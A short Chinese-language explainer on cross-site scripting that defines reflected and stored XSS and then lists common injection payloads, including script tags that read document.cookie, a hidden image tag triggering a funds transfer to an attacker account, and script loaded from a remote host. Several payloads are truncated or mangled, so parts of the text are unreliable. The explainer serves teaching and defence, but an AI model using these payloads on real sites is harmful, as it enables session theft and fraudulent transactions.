什么是XSS,?XSS(Cross Site Scripting),即跨站腳本攻擊,,是一種常見于web application中的計算機安全漏洞,。XSS通過在用戶端注入惡意的可運行腳本,若服務器端對用戶輸入不進行處理,,直接將用戶輸入輸出到瀏覽器,,則瀏覽器將會執(zhí)行用戶注入的腳本。
XSS的分類根據(jù)XSS造成的影響,,可以將XSS分為非持久型和持久型,。 1. 非持久型,也叫反射型XSS,。通過GET和 POST方法,,向服務器端輸入數(shù)據(jù)。用戶輸入的數(shù)據(jù)通常被放置在URL的query string中,,或者是form 數(shù)據(jù)中,。如果服務器端對輸入的數(shù)據(jù)不進行過濾,驗證或編碼,,就直接將用戶輸入的信息直接呈現(xiàn)給客戶,,則可能會造成反射型XSS。反射型XSS是比較普遍的 XSS,,其危害程度通常被認為較小,。但是某些反射型XSS造成的后果會很嚴重,如在輸入框的name中輸入<meta http-equiv="refresh" content="5" 2. 持久型,也叫存儲型XSS,。通常是因為服務器端將用戶輸入的惡意腳本沒有通過驗證就直接存儲在數(shù)據(jù)庫,,并且每次通過調(diào)用數(shù)據(jù)庫的方式,將數(shù)據(jù)呈現(xiàn)在瀏覽器上,。則該 XSS跨站腳本攻擊將一直存在,。若其他用戶訪問該頁面,則惡意腳本就會被觸發(fā),,用于盜取其他用戶的私人信息,。 常用XSS方式分為以下幾種:1. 輸入框中直接輸入惡意腳本,,如: ><script>alert(document.cookie)</script> 或者 "> <script> document.location.+document.cookie</script> 2. 輸入框中輸入html標簽,在標簽中嵌入惡意腳本,,如src,,href,css style等,。 <IMG SRC="javascript:alert('XSS');">; <img src="http:///app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" /> <BODY BACKGROUND="javascript:alert('XSS')"> <STYLE>li {list-style-image:url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br> 3. 將惡意腳本注入在event事件中,,如onClick,onBlur,,onMouseOver等事件,。 <a onmouseover="alert(document.cookie)">xxslink</a> 4. 在remote style sheet,javascript中,,如 <LINK REL="stylesheet"HREF="javascript:alert('XSS');"> <SCRIPT/SRC="http://ha./xss.js"></SCRIPT> 5. META 標簽,,如 <meta http-equiv="refresh"content="5" /> <META HTTP-EQUIV="Set-Cookie"Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
|
|